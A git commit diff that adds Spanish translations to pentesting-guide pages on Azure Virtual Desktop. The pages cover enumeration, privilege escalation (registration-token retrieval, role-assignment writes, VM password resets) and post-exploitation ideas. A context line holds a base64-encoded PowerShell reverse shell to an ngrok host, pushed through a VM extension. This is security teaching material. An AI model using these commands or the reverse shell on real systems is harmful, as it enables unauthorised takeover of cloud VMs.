Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-26 16:09:45 +00:00
parent 9594bf9388
commit 0c9c55da48
5 changed files with 134 additions and 63 deletions

View File

@@ -454,7 +454,7 @@
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
@@ -465,6 +465,7 @@
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
- [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md)
- [Az - Virtual Desktop Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md)
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)

View File

@@ -0,0 +1,21 @@
# Az - VMs & Network Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Escritorio Virtual
Para más información sobre Escritorio Virtual, consulta la siguiente página:
{{#ref}}
../az-services/az-virtual-desktop.md
{{#endref}}
### Técnicas comunes
- Sobrescribir un **paquete MSIX de la cuenta de almacenamiento** para obtener RCE en cualquier VM que use esa aplicación.
- En un remoteapp, es posible cambiar el **ruta del binario a ejecutar**.
- **Escapar de aplicaciones** a un shell para obtener RCE.
- Cualquier ataque de post explotación y persistencia desde **Azure VMs.**
- Es posible **configurar un script para ser ejecutado** en el pool para aplicar configuraciones personalizadas.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,24 @@
## Azure Virtual Desktop Privesc
Para más información sobre Azure Virtual Desktop consulta:
{{#ref}}
../az-services/az-virtual-desktop.md
{{#endref}}
### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action`
Puedes recuperar el token de registro utilizado para registrar máquinas virtuales dentro de un grupo de hosts.
```bash
az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1
```
### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write")
### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write
Con estos permisos, puedes agregar una asignación de usuario al grupo de Aplicaciones, lo cual es necesario para acceder a la máquina virtual del escritorio virtual.
> [!WARNING]
> Un atacante con estos permisos podría hacer cosas mucho más peligrosas que esta.
Con estos permisos, puedes agregar una asignación de usuario al grupo de Aplicación, que es necesaria para acceder a la máquina virtual del escritorio virtual:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments/<NEW_ROLE_ASSIGNMENT_GUID>?api-version=2022-04-01" \
@@ -22,12 +32,6 @@ az rest --method PUT \
}
}'
```
Además, puedes cambiar el usuario y la contraseña de la máquina virtual para acceder a ella.
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
Tenga en cuenta que, para que un usuario pueda acceder a un Escritorio o una aplicación, también necesita el rol `Virtual Machine User Login` o `Virtual Machine Administrator Login` sobre la VM.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -65,7 +65,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Ejecutar shell inverso desde un archivo
- Ejecutar shell inverso desde archivo
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -155,9 +155,9 @@ Set-AzVMDscExtension `
<details>
<summary>Hybrid Runbook Worker</summary>
<summary>Trabajador de Runbook Híbrido</summary>
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [Automation Accounts service](../az-services/az-automation-account/index.html).
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-services/az-automation-account/index.html).
</details>
@@ -343,12 +343,22 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
Luego, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**:
Entonces, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
Estos permisos permiten cambiar el usuario y la contraseña de la máquina virtual para acceder a ella:
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
Según la [**documentación**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), este permiso te permite gestionar el sistema operativo de tu recurso a través de Windows Admin Center como administrador. Así que parece que esto da acceso al WAC para controlar las VMs...

View File

@@ -9,56 +9,99 @@ Virtual Desktop es un **servicio de virtualización de escritorio y aplicaciones
### Grupos de Hosts
Los grupos de hosts en Azure Virtual Desktop son colecciones de máquinas virtuales de Azure configuradas como hosts de sesión, proporcionando escritorios virtuales y aplicaciones a los usuarios. Hay dos tipos principales:
- **Grupos de hosts personales**, donde cada máquina virtual está dedicada a un solo usuario, con sus propios entornos.
- **Grupos de hosts agrupados**, donde múltiples usuarios comparten recursos en cualquier host de sesión disponible. Tiene un límite de sesión configurable y una configuración de host de sesión permite a Azure Virtual Desktop automatizar la creación de hosts de sesión basados en una configuración.
Cada grupo de hosts tiene un **token de registro** que se utiliza para registrar máquinas virtuales dentro de un grupo de hosts.
- **Grupos de hosts personales**, donde cada máquina virtual está dedicada a un solo usuario.
- Se puede configurar para que el **administrador asigne** usuarios específicos a las VMs o que esto se haga **automáticamente**.
- Esto es ideal para personas con cargas de trabajo intensivas, ya que cada persona tendrá su propia VM. Además, podrán almacenar archivos y configurar ajustes en el disco del SO y estos persistirán ya que **cada usuario tiene su propia VM (host)**.
### Grupos de Aplicaciones & Espacio de Trabajo
Los grupos de aplicaciones **controlan el acceso de los usuarios** a un escritorio completo o a conjuntos específicos de aplicaciones disponibles en los hosts de sesión dentro de un grupo de hosts. Hay dos tipos:
- **Grupos de aplicaciones de escritorio**, que dan a los usuarios acceso a un escritorio completo de Windows (disponible tanto con grupos de hosts personales como agrupados).
- **Grupos de RemoteApp**, que permiten a los usuarios acceder a aplicaciones individuales publicadas (disponible solo con grupos de hosts agrupados).
Un grupo de hosts puede tener un grupo de aplicaciones de escritorio, pero múltiples grupos de RemoteApp. Los usuarios pueden ser asignados a múltiples grupos de aplicaciones en diferentes grupos de hosts. Si un usuario está asignado a grupos de escritorio y RemoteApp dentro del mismo grupo de hosts, solo verá recursos del tipo de grupo preferido establecido por los administradores.
- **Grupos de hosts agrupados**, donde múltiples **usuarios comparten recursos** en hosts de sesión disponibles.
- Es posible configurar un **número máximo de usuarios** (sesiones) por host.
- Es posible **agregar VMs manualmente** utilizando claves de registro, o **permitir que Azure escale automáticamente** el número de hosts sin tener la opción de agregar VMs usando la clave de registro. No es posible escalar automáticamente VMs para grupos personales.
- Para persistir archivos en las sesiones de los usuarios, es necesario usar **FSlogix**.
Un **espacio de trabajo** es una **colección de grupos de aplicaciones**, permitiendo a los usuarios acceder a los escritorios y grupos de aplicaciones asignados a ellos. Cada grupo de aplicaciones debe estar vinculado a un espacio de trabajo, y solo puede pertenecer a un espacio de trabajo a la vez.
### Hosts de Sesión
### Características Clave
- **Creación de VM Flexible**: Crear máquinas virtuales de Azure directamente o agregar máquinas virtuales locales de Azure más tarde.
- **Características de Seguridad**: Habilitar Trusted Launch (arranque seguro, vTPM, monitoreo de integridad) para una seguridad avanzada de VM (se necesita una red virtual). Puede integrar Azure Firewall y controlar el tráfico a través de Grupos de Seguridad de Red.
- **Unión a Dominio**: Soporte para uniones de dominio de Active Directory con configuraciones personalizables.
- **Diagnósticos y Monitoreo**: Habilitar Configuraciones de Diagnóstico para transmitir registros y métricas a Log Analytics, cuentas de almacenamiento o hubs de eventos para monitoreo.
- **Plantillas de imagen personalizadas**: Crear y gestionarlas para usar al agregar hosts de sesión. Agregar fácilmente personalizaciones comunes o sus propios scripts personalizados.
- **Registro de Espacio de Trabajo**: Registrar fácilmente grupos de aplicaciones de escritorio predeterminados a nuevos o existentes espacios de trabajo para una gestión simplificada del acceso de usuarios.
Estos son las **VMs a las que los usuarios se conectarán.**
- Si se seleccionó el escalado automático, se creará una plantilla con las **características de los hosts** que deben ser creados para el grupo.
- Si no, al crear el grupo de hosts es posible indicar las **características y el número de VMs** que deseas crear y Azure las creará y agregará por ti.
Las principales características para **configurar las VMs** son:
- El **prefijo** del nombre de las nuevas VMs
- El **tipo de VM**: Esto puede ser “máquina virtual de Azure” (para usar VMs de Azure) o “máquina virtual local de Azure” que permite que los hosts se desplieguen en las instalaciones o en el borde.
- La ubicación, zonas, opciones de seguridad de la VM, imagen, CPU, memoria, tamaño del disco…
- La **VNet, grupo de seguridad y puertos** a exponer a Internet
- Es posible establecer credenciales para unirse automáticamente a un **dominio AD**, o usar el directorio de Entra ID
- Si es Entra ID, es posible **inscribir automáticamente la nueva VM en Intune**
- Es necesario establecer un **nombre de usuario y contraseña de administrador** a menos que Azure escale los hosts, en ese caso se debe configurar un **secreto con el nombre de usuario y otro con la contraseña**
- Es posible **configurar un script para ser ejecutado** para configuraciones personalizadas
### Grupos de Aplicaciones
Los **grupos de aplicaciones** controlan el acceso de los usuarios a un escritorio completo o a conjuntos específicos de aplicaciones disponibles en los hosts de sesión dentro de un grupo de hosts.
Hay dos tipos de grupos de aplicaciones:
- **Grupos de aplicaciones de escritorio**, que dan a los usuarios acceso a escritorios completos de Windows y aplicaciones adjuntas.
- **Grupos de RemoteApp**, que permiten a los usuarios acceder a aplicaciones individuales.
- No es posible asignar este tipo de grupo de aplicaciones a un Grupo Personal.
- Es necesario indicar la ruta al binario a ejecutar dentro de la VM.
Un Grupo Agrupado puede tener **un grupo de aplicaciones de escritorio** y **múltiples grupos de RemoteApp** y los usuarios pueden ser asignados a múltiples grupos de aplicaciones en diferentes grupos de hosts.
Cuando a un usuario se le **otorga acceso**, se le da el rol **`Desktop Virtualization User`** sobre el grupo de aplicaciones.
### Espacios de Trabajo y Conexiones
Un **espacio de trabajo** es una colección de grupos de aplicaciones.
Para **conectarse** al escritorio o aplicaciones asignadas, es posible hacerlo desde [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices)
Y hay otros métodos descritos en [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client)
Cuando un usuario accede a su cuenta, se le **presentará separado por espacios de trabajo todo a lo que tiene acceso**. Por lo tanto, es necesario agregar **cada grupo de aplicaciones a un espacio de trabajo** para que los accesos definidos sean visibles.
Para que un usuario pueda acceder a un escritorio o una aplicación, también necesita el rol **`Virtual Machine User Login`** o **`Virtual Machine Administrator Login`** sobre la VM.
### Identidades Administradas
No es posible asignar identidades administradas a grupos de hosts, por lo que las VMs creadas dentro de un grupo las tendrán.
Sin embargo, es posible **asignar identidades administradas de sistema y de usuario a las VMs** y luego acceder a los tokens desde los metadatos. De hecho, después de lanzar los grupos de hosts desde la web, las 2 VMs generadas tienen habilitada la identidad administrada asignada al sistema (aunque no tiene ningún permiso).
### Enumeración
```bash
az extension add --name desktopvirtualization
# List HostPool of a Resource group
az desktopvirtualization hostpool list --resource-group <Resource_Group>
# List HostPools
az desktopvirtualization hostpool list
# List Workspaces
az desktopvirtualization workspace list
# List Application Groups
az desktopvirtualization applicationgroup list --resource-group <Resource_Group>
# List Application Groups By Subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03"
az desktopvirtualization applicationgroup list
# List Applications in a Application Group
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03"
# Check if Desktops are enabled
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
# List Assigned Users to the Application Group
az rest \
--method GET \
--url "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
| jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions/<subscription_id_in_lowercase>/resourcegroups/<resource_group_name_in_lowercase>/providers/microsoft.desktopvirtualization/applicationgroups/<app_group_name_in_lowercase>")'
# List hosts
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
# List Workspace in a resource group
az desktopvirtualization workspace list --resource-group <Resource_Group>
# List Workspace in a subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03"
# List App Attach Package By Resource Group
# List App Attach packages
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
# List App Attach Package By Subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
# List user sessions
az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03"
# List Desktops
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
@@ -68,35 +111,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip
# List private endpoint connections associated with hostpool.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03"
# List private endpoint connections associated By Workspace.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03"
# List the private link resources available for a hostpool.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03"
# List the private link resources available for this workspace.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03"
# List sessionHosts/virtual machines.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
# List start menu items in the given application group.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03"
# List userSessions.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03"
# List userSessions By Host Pool
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03"
```
### Conexión
Para conectarte al escritorio virtual a través de la web, puedes acceder a https://client.wvd.microsoft.com/arm/webclient/ (el más común), o https://client.wvd.microsoft.com/webclient/index.html (clásico)
Hay otros métodos que se describen aquí [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows)
## Privesc
{{#ref}}
../az-privilege-escalation/az-virtual-desktop-privesc.md
{{#ref}}
../az-privilege-escalation/az-virtual-desktop-privesc.md
{{#endref}}
## Post Exploitation & Persistence
{{#ref}}
../az-post-exploitation/az-virtual-desktop-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}